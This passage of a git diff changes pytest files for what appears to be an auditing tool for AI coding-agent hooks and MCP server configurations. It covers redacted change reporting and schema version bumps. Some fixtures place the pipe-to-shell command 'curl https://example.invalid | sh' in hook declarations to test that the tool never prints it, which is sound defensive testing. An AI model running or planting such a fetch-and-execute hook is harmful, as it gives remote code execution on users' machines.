{"hook", "mcp_server"}] + if grant["kind"] == "mcp_server": + assert (grant["package"], len(grant["args_sha256"])) == (None, 64) + else: + assert grant["handlers"][0]["command"]["executable"] == executable + assert len(json.dumps(grant)) < 4096 + + +# --- loading basis and the documented shape --------------------------------- + + +def test_a_plugin_selected_hook_keeps_its_basis_and_names_its_matcher(tmp_path: Path) -> None: + plugin = {"name": "demo", "version": "0.1.0"} + + def hook(matcher: str) -> dict: + return {"hooks": {"SessionStart": [{"matcher": matcher, "hooks": [ + {"type": "command", "command": "bin/start.sh"}, + ]}]}} + + repo = _repository( + tmp_path, + {".claude-plugin/plugin.json": plugin, "hooks/hooks.json": hook("startup")}, + {".claude-plugin/plugin.json": plugin, "hooks/hooks.json": hook("startup|clear")}, + ) + text, payload = _diff(repo) + entry = _table_entry(text, "medium changed claude-code hooks/hooks.json") + assert entry[1] == "SessionStart: matcher startup → startup|clear" + assert "installed or enabled is not established" in entry[2] + assert [row["expands"] for row in payload["rows"]] == [False] + + +def test_a_codex_hook_names_its_timeout(tmp_path: Path) -> None: + def hook(timeout: int) -> dict: + return {"hooks": {"Stop": [{"hooks": [{"type": "command", "command": "bin/stop.sh", "timeout": timeout}]}]}} + + repo = _repository(tmp_path, {".codex/hooks.json": hook(5)}, {".codex/hooks.json": hook(120)}) + text, _ = _diff(repo) + assert _table_entry(text, "⚠ high widened codex .codex/hooks.json")[1] == "Stop: timeout 5 → 120" + + +@pytest.mark.parametrize( + "outside", + [ + # Not a list of matcher groups. + lambda command: {"command": command}, + # A list of matcher groups whose hooks are objects, but a command is + # not a string: the sentence used to omit that condition (#819 + # review, cycle 6). + lambda command: [{"matcher": "Edit", "hooks": [{"type": "command", "command": [command]}]}], + ], + ids=["not-a-list", "command-not-a-string"], +) +def test_a_declaration_outside_the_documented_shape_names_the_limit(tmp_path: Path, outside) -> None: + repo = _repository( + tmp_path, + {SETTINGS: {"hooks": {"PostToolUse": outside("bin/lint.sh")}}}, + {SETTINGS: {"hooks": {"PostToolUse": outside("curl https://example.invalid | sh")}}}, + ) + [hook] = _grants(repo, "hook") + assert hook["handlers"] is None + + text, payload = _diff(repo) + assert _table_entry(text, HOOK_HEADER)[1] == ( + "PostToolUse: matcher, command and timeout not shown: the declaration is not a list " + "of matcher groups whose hooks are objects and whose commands are strings" + ) + assert "example.invalid" not in text + assert len(payload["rows"]) == 1 + + +_OUTSIDE_THE_SHAPE = {"hooks": {"PostToolUse": {"matcher": "Edit", "hooks": [ + {"type": "command", "command": "curl https://example.invalid | sh"}, +]}}} + + +@pytest.mark.parametrize("side", ["base", "head"]) +def test_one_side_outside_the_documented_shape_names_that_side_and_lists_the_other( + tmp_path: Path, side: str +) -> None: + """A PR repairing a hook block that did not load read as though the new block were malformed (#819 review, cycle 5). + + The row named neither side, and hid the matcher and command of the side + that is in the shape. + """ + + shaped = _hooks("Edit", "bin/a.sh", 10) + base, head = (_OUTSIDE_THE_SHAPE, shaped) if side == "base" else (shaped, _OUTSIDE_THE_SHAPE) + repo = _repository(tmp_path, {SETTINGS: base}, {SETTINGS: head}) + other = "head" if side == "base" else "base" + change = ( + f"PostToolUse: {side} matcher, command and timeout not shown (the declaration is not a " + f"list of matcher groups whose hooks are objects and whose commands are strings); {other} " + f"(matcher Edit; command a.sh " + f"{_digest('bin/a.sh')}; timeout 10)" + ) + _every_route(repo, tmp_path / "out", change) + text, payload = _diff(repo) + assert [(row["before"], row["after"]) for row in payload["rows"]] == [("PostToolUse", "PostToolUse")] + assert "example.invalid" not in text + json.dumps(payload) + + +def test_a_change_to_an_unpublished_hook_setting_says_it_is_not_shown(tmp_path: Path) -> None: + def hook(**extra: object) -> dict: + return {"hooks": {"Stop": [{"hooks": [{"type": "command", "command": "bin/stop.sh", **extra}]}]}} + + repo = _repository(tmp_path, {SETTINGS: hook()}, {SETTINGS: hook(**{"async": True})}) + text, payload = _diff(repo) + assert _table_entry(text, HOOK_HEADER)[1] == ( + "Stop: no difference in the matcher, command or timeout; the change is in a detail this " + "output does not show, such as another hook setting or a redacted or shortened matcher or " + "timeout" + ) + assert len(payload["rows"]) == 1 diff --git a/tests/test_host_audit.py b/tests/test_host_audit.py index aab339289..0ffa2004c 100644 --- a/tests/test_host_audit.py +++ b/tests/test_host_audit.py @@ -30,10 +30,10 @@ load_host_grants_baseline, ) from agents_shipgate.schemas.host_grants import ( - HostGrantsBaselineV6, - HostGrantsDriftV6, + HostGrantsBaselineV7, + HostGrantsDriftV7, HostGrantsInventoryArtifactV4, - HostGrantsInventoryV6, + HostGrantsInventoryV7, ) runner = CliRunner() @@ -170,8 +170,8 @@ def _drift_json(tmp_path: Path, *extra: str) -> tuple[int, dict]: def test_inventory_v02_collects_typed_multi_host_grants(tmp_path: Path) -> None: inventory = host_audit_inventory(_seed_workspace(tmp_path)) - assert inventory["host_grants_inventory_schema_version"] == "0.6" - HostGrantsInventoryV6.model_validate(inventory) + assert inventory["host_grants_inventory_schema_version"] == "0.7" + HostGrantsInventoryV7.model_validate(inventory) assert inventory["scope"] == "repository" assert inventory["static_analysis_only"] is True assert inventory["runtime_session_verified"] is False @@ -749,8 +749,8 @@ def test_v02_baseline_is_typed_portable_redacted_and_idempotent(tmp_path: Path) _seed_workspace(tmp_path) baseline_path = _save_baseline(tmp_path) payload = json.loads(baseline_path.read_text(encoding="utf-8")) - HostGrantsBaselineV6.model_validate(payload) - assert payload["host_grants_schema_version"] == "0.6" + HostGrantsBaselineV7.model_validate(payload) + assert payload["host_grants_schema_version"] == "0.7" assert payload["scope"] == "repository" assert "workspace" not in payload["inventory"] assert payload["inventory"]["artifacts"] @@ -956,7 +956,7 @@ def test_clean_and_changed_v02_drift(tmp_path: Path) -> None: _save_baseline(tmp_path) code, clean = _drift_json(tmp_path) assert code == 0 - HostGrantsDriftV6.model_validate(clean) + HostGrantsDriftV7.model_validate(clean) assert clean["comparison_status"] == "comparable" assert clean["has_drift"] is False assert clean["baseline_sha256"] == clean["current_sha256"] @@ -1213,14 +1213,14 @@ def test_legacy_v01_baseline_is_incomparable_advisory_and_strict_20(tmp_path: Pa inventory=host_audit_inventory(tmp_path), baseline_file=".agents-shipgate/host-grants.json", ) - HostGrantsDriftV6.model_validate(shared) + HostGrantsDriftV7.model_validate(shared) assert shared["comparison_status"] == "incomparable" assert shared["next_action"] is None assert "--save-baseline" not in json.dumps(shared) code, payload = _drift_json(tmp_path) assert code == 0 - HostGrantsDriftV6.model_validate(payload) + HostGrantsDriftV7.model_validate(payload) assert payload["comparison_status"] == "incomparable" assert payload["has_drift"] is None assert "baseline_schema_v0.1" in payload["incomparable_reasons"][0] @@ -1272,7 +1272,7 @@ def test_malformed_nested_v02_baseline_is_incomparable_not_a_crash(tmp_path: Pat ) code, payload = _drift_json(tmp_path) assert code == 0 - HostGrantsDriftV6.model_validate(payload) + HostGrantsDriftV7.model_validate(payload) assert payload["comparison_status"] == "incomparable" assert payload["has_drift"] is None assert payload["incomparable_reasons"] == ["malformed_v0.2_baseline"] @@ -1629,9 +1629,9 @@ def denied_read_text( def test_generated_models_reject_unknown_fields_and_invalid_literals(tmp_path: Path) -> None: payload = host_audit_inventory(tmp_path) with pytest.raises(ValidationError): - HostGrantsInventoryV6.model_validate({**payload, "legacy_parse_warnings": []}) + HostGrantsInventoryV7.model_validate({**payload, "legacy_parse_warnings": []}) with pytest.raises(ValidationError): - HostGrantsInventoryV6.model_validate({**payload, "scope": "runtime"}) + HostGrantsInventoryV7.model_validate({**payload, "scope": "runtime"}) def test_inventory_schema_uses_discriminated_typed_grants() -> None: diff --git a/tests/test_host_diff_review_changes.py b/tests/test_host_diff_review_changes.py index 33e596787..2219c25b0 100644 --- a/tests/test_host_diff_review_changes.py +++ b/tests/test_host_diff_review_changes.py @@ -373,7 +373,14 @@ def test_an_mcp_launch_change_names_its_published_difference(tmp_path: Path) -> "env": {"GH_HOST": "github.example", "GH_TOKEN": GITHUB_TOKEN}, }}}}, ) - change = "gh: command name npx → docker; env keys +GH_HOST +GH_TOKEN" + from agents_shipgate.core.host_grants import redacted_config_sha256 + + # No argument text is published: the arguments are a digest (#819). + old, new = (redacted_config_sha256(args)[:12] for args in (["-y", "gh-mcp"], ["run", "gh"])) + change = ( + f"gh: command name npx → docker; launch arguments changed (sha256:{old} → sha256:{new}); " + "env keys +GH_HOST +GH_TOKEN" + ) text, payload = _diff(repo) assert _table_entry(text, "⚠ high widened claude-code .mcp.json")[1] == change @@ -411,26 +418,26 @@ def test_an_added_remote_mcp_server_shows_its_redacted_endpoint(tmp_path: Path) def test_an_mcp_change_outside_the_published_fields_says_it_is_not_shown(tmp_path: Path) -> None: + """A `cwd` is not published, so the entry names what was compared (#819: the launch arguments too).""" + repo = _repository( tmp_path, {".mcp.json": {"mcpServers": {"docs": {"command": "npx", "args": ["@example/docs@1.2.3"]}}}}, - {".mcp.json": {"mcpServers": {"docs": {"command": "npx", "args": ["@example/docs@latest"]}}}}, + {".mcp.json": {"mcpServers": {"docs": { + "command": "npx", "args": ["@example/docs@1.2.3"], "cwd": "packages/secret-internal", + }}}}, ) text, _ = _diff(repo) - assert _table_entry(text, "⚠ high widened claude-code .mcp.json")[1] == ( - "docs: no difference in the command name npx, env key names or header key names; " - "the change is in a detail this output does not show, such as the command's path " - "or arguments" - ) - assert "docs → docs" not in text and "latest" not in text + assert _table_entry(text, "⚠ high widened claude-code .mcp.json")[1] == _unshown("docs", "npx") + assert "docs → docs" not in text and "secret-internal" not in text def _unshown(name: str, command: str) -> str: return ( - f"{name}: no difference in the command name {command}, env key names or header key " - "names; the change is in a detail this output does not show, such as the command's " - "path or arguments" + f"{name}: no difference in the command name {command}, launch arguments, env key names " + "or header key names; the change is in a detail this output does not show, such as the " + "command's path or another setting" ) diff --git a/tests/test_host_input_recovery.py b/tests/test_host_input_recovery.py index 23277410a..9a287f30a 100644 --- a/tests/test_host_input_recovery.py +++ b/tests/test_host_input_recovery.py @@ -303,6 +303,6 @@ def fail(self): snapshot = build_host_boundary_snapshot(tmp_path) for name, payload in ( ("agent-boundary-result-schema.v3.json", _result(tmp_path, snapshot)), - ("host-grants-inventory-schema.v0.6.json", snapshot.inventory), + ("host-grants-inventory-schema.v0.7.json", snapshot.inventory), ): jsonschema.validate(payload, json.loads((Path("docs") / name).read_text())) diff --git a/tests/test_instruction_structure_contracts.py b/tests/test_instruction_structure_contracts.py index 6fbfd2070..89e1fb93f 100644 --- a/tests/test_instruction_structure_contracts.py +++ b/tests/test_instruction_structure_contracts.py @@ -49,7 +49,7 @@ def test_old_models_reject_structural_claims_and_old_baseline_is_not_restamped(r assert drift["has_drift"] is None assert "baseline_instruction_structure_unavailable" in drift["incomparable_reasons"] assert path.read_bytes() == captured - schema = json.loads((ROOT / "docs/host-grants-inventory-schema.v0.6.json").read_text()) + schema = json.loads((ROOT / "docs/host-grants-inventory-schema.v0.7.json").read_text()) Draft202012Validator(schema).validate(inventory) diff --git a/tests/test_local_contract.py b/tests/test_local_contract.py index 7724377f2..d2eb5b004 100644 --- a/tests/test_local_contract.py +++ b/tests/test_local_contract.py @@ -156,9 +156,9 @@ def test_local_agent_contract_is_minimal_agent_operational_payload() -> None: assert payload["attestation_schema_version"] == "0.5" assert payload["registry_schema_version"] == "0.4" assert payload["org_evidence_bundle_schema_version"] == ("shipgate.org_evidence_bundle/v2") - assert payload["host_grants_inventory_schema_version"] == "0.6" - assert payload["host_grants_baseline_schema_version"] == "0.6" - assert payload["host_grants_drift_schema_version"] == "0.6" + assert payload["host_grants_inventory_schema_version"] == "0.7" + assert payload["host_grants_baseline_schema_version"] == "0.7" + assert payload["host_grants_drift_schema_version"] == "0.7" assert payload["trigger_catalog_schema_version"] == "0.4" assert payload["agent_result_schema_version"] == "agent_result_v3" assert payload["agent_result_schema_path"] == "docs/agent-result-schema.v3.json" diff --git a/tests/test_org_governance.py b/tests/test_org_governance.py index 302a78e70..c2eb57993 100644 --- a/tests/test_org_governance.py +++ b/tests/test_org_governance.py @@ -575,7 +575,7 @@ def test_org_bundle_projects_platform_artifacts_without_second_gate( assert payload["registry_row"]["source_attestation_sha256"] == attestation_sha256 assert payload["org_status"]["summary"]["policy_pack_count"] == 1 assert payload["policy_packs"][0]["status"] == "verified" - assert payload["host_grants"]["host_grants_inventory_schema_version"] == "0.6" + assert payload["host_grants"]["host_grants_inventory_schema_version"] == "0.7" assert payload["artifacts"]["verifier"]["sha256"] diff --git a/tests/test_reusable_workflow_secret_mappings.py b/tests/test_reusable_workflow_secret_mappings.py index 14da55b4d..142803ef6 100644 --- a/tests/test_reusable_workflow_secret_mappings.py +++ b/tests/test_reusable_workflow_secret_mappings.py @@ -806,9 +806,9 @@ def test_a_current_baseline_compares_mappings_and_validates_against_the_schemas( path.write_text(STAGING) inventory = host_audit_inventory(tmp_path) baseline = build_host_grants_baseline(inventory) - assert baseline["host_grants_schema_version"] == "0.6" - Draft202012Validator(json.loads((ROOT / "docs/host-grants-inventory-schema.v0.6.json").read_text())).validate(inventory) - Draft202012Validator(json.loads((ROOT / "docs/host-grants-baseline-schema.v0.6.json").read_text())).validate(baseline) + assert baseline["host_grants_schema_version"] == "0.7" + Draft202012Validator(json.loads((ROOT / "docs/host-grants-inventory-schema.v0.7.json").read_text())).validate(inventory) + Draft202012Validator(json.loads((ROOT / "docs/host-grants-baseline-schema.v0.7.json").read_text())).validate(baseline) unchanged = build_host_drift_payload(baseline=baseline, inventory=inventory, baseline_file="b.json") assert (unchanged["comparison_status"], unchanged["has_drift"]) == ("comparable", False) @@ -817,7 +817,7 @@ def test_a_current_baseline_compares_mappings_and_validates_against_the_schemas( drift = build_host_drift_payload(baseline=baseline, inventory=host_audit_inventory(tmp_path), baseline_file="b.json") assert drift["comparison_status"] == "comparable" and drift["has_drift"] is True assert len(drift["changes"]) == 1 and drift["expansion_signals"] == [] - Draft202012Validator(json.loads((ROOT / "docs/host-grants-drift-schema.v0.6.json").read_text())).validate(drift) + Draft202012Validator(json.loads((ROOT / "docs/host-grants-drift-schema.v0.7.json").read_text())).validate(drift) def test_a_saved_baseline_listing_mappings_out_of_order_still_compares_equal(tmp_path): diff --git a/tests/test_workflow_step_action_references.py b/tests/test_workflow_step_action_references.py index 242b299fd..51107dd1d 100644 --- a/tests/test_workflow_step_action_references.py +++ b/tests/test_workflow_step_action_references.py @@ -454,7 +454,7 @@ def test_a_current_baseline_compares_step_references(tmp_path): path.parent.mkdir(parents=True) path.write_text(_yaml({"uses": f"actions/checkout@{PINNED}"})) baseline = build_host_grants_baseline(host_audit_inventory(tmp_path)) - assert baseline["host_grants_schema_version"] == "0.6" + assert baseline["host_grants_schema_version"] == "0.7" path.write_text(_yaml({"uses": "actions/checkout@main"})) drift = build_host_drift_payload(baseline=baseline, inventory=host_audit_inventory(tmp_path), baseline_file="b.json") @@ -821,7 +821,7 @@ def test_saving_over_a_legacy_baseline_without_a_workflow_is_refused(tmp_path, v path.rename(path.with_name(f"host-grants.v{version}.json")) resaved = CliRunner().invoke(app, [*audit, "--save-baseline"]) assert resaved.exit_code == 0, _output(resaved) - assert json.loads(path.read_text())["host_grants_schema_version"] == "0.6" + assert json.loads(path.read_text())["host_grants_schema_version"] == "0.7" def _output(result) -> str: @@ -945,7 +945,7 @@ def test_the_documented_migration_from_a_legacy_baseline_holding_a_workflow(tmp_ path.rename(path.with_name("host-grants.v0.5.json")) resaved = CliRunner().invoke(app, [*audit, "--save-baseline"]) assert resaved.exit_code == 0, resaved.output - assert json.loads(path.read_text())["host_grants_schema_version"] == "0.6" + assert json.loads(path.read_text())["host_grants_schema_version"] == "0.7" after = json.loads(CliRunner().invoke(app, [*audit, "--drift", "--json"]).stdout) assert (after["comparison_status"], after["has_drift"]) == ("comparable", False) assert path.with_name("host-grants.v0.5.json").read_text() == original